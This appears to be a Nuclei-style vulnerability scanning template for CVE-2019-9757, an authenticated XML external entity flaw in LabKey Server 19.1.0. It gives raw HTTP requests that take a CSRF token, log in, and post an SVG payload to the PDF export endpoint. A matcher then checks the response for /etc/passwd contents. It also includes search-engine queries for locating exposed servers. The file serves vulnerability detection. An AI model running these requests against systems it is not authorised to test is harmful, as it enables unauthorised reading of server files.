id: CVE-2019-9757 info: name: LabKey Server 19.1.0 - XML External Entity (XXE) author: ritikchaddha severity: high description: | An issue was discovered in LabKey Server 19.1.0. Sending an SVG containing an XXE payload to the endpoint visualization-exportImage.view or visualization-exportPDF.view allows local files to be read. impact: | Attackers can read arbitrary local files on the server, potentially leading to information disclosure. remediation: | Update to the latest version of LabKey Server or apply security patches that fix XML parsing vulnerabilities. reference: - https://rhinosecuritylabs.com/application-security/labkey-server-vulnerabilities-to-rce/ - https://github.com/LabKey/Issues/issues/37636 - https://nvd.nist.gov/vuln/detail/CVE-2019-9757 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2019-9757 cwe-id: CWE-611 epss-score: 0.86103 epss-percentile: 0.99411 cpe: cpe:2.3:a:labkey:labkey_server:19.1.0:*:*:*:*:*:*:* metadata: max-request: 3 vendor: labkey product: labkey_server shodan-query: title:"LabKey" fofa-query: title="LabKey" tags: cve,cve2019,labkey,xxe,authenticated,vuln flow: http(1) && http(2) && http(3) http: - raw: - | GET /labkey/home/project-begin.view HTTP/1.1 Host: {{Hostname}} extractors: - type: regex name: csrf group: 1 regex: - '"X\-LABKEY\-CSRF":"([0-9a-z]+)"' internal: true - raw: - | POST /home/login-loginApi.api HTTP/1.1 Host: {{Hostname}} X-LABKEY-CSRF: {{csrf}} Content-Type: application/x-www-form-urlencoded; charset=UTF-8 remember=on&email={{username}}&password={{password}}&approvedTermsOfUse=false host-redirects: true matchers: - type: dsl dsl: - 'status_code == 200' - '!status_code == 400' condition: and - raw: - | POST /labkey/home/visualization-exportPDF.view HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=---------------------------735323031399963166993862150 -----------------------------735323031399963166993862150 Content-Disposition: form-data; name="X-LABKEY-CSRF" {{csrf}} -----------------------------735323031399963166993862150 Content-Disposition: form-data; name="svg" ]> &xxe; -----------------------------735323031399963166993862150 Content-Disposition: form-data; name="title" test -----------------------------735323031399963166993862150-- matchers: - type: dsl dsl: - 'regex("root:.*:0:0:", body)' - 'status_code == 200' condition: and # digest: 4a0a00473045022100c68e1a63fc5234e568852e4f3b1d4c9a6db0bbbca829d8dbddddc1cac7d7714902206c5da8cbee17e047c7f5cdcc70aad3a57227414e8a61bbfd35c0e807ed574d56:922c64590222798bb761d5b6d8e72950